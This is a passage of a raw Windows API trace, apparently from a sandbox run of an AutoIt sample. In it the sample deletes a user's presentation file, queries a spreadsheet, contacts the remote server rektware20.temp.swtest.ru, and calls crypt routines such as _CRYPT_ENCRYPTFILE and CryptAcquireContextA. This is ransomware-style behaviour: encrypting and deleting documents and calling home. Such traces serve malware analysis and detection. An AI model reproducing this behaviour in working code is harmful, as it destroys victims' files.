hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.638] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", lpFilePart=0x0) returned 0x31 [0070.638] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\l9pu4qohdw7u.pptx")) returned 0x20 [0070.638] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0070.638] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\l9pu4qohdw7u.pptx")) returned 1 [0070.642] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.643] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0070.643] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.643] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.643] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.644] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.644] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.644] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.644] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.644] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.644] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0070.644] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.644] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.644] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.645] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.645] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.645] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.645] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.646] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.646] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.646] CloseHandle (hObject=0x0) returned 0 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="luYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uYf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yf7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iOwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OwXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wXacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XacTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="acTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cTY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TY05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="05Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Djb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jb.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.648] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.648] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.648] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.648] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.648] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.648] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.648] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.648] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.648] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c) returned 1 [0070.648] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.648] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.649] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.650] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.650] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.650] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.650] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.650] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.650] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.651] CloseHandle (hObject=0x0) returned 0 [0070.651] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.652] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0070.652] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.652] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.652] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.652] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.653] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.653] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.653] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.653] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.653] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.654] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.654] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.654] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0070.655] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.655] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.655] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.655] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.655] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.655] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.656] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.656] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.656] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.656] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.656] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.656] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.656] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.656] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, 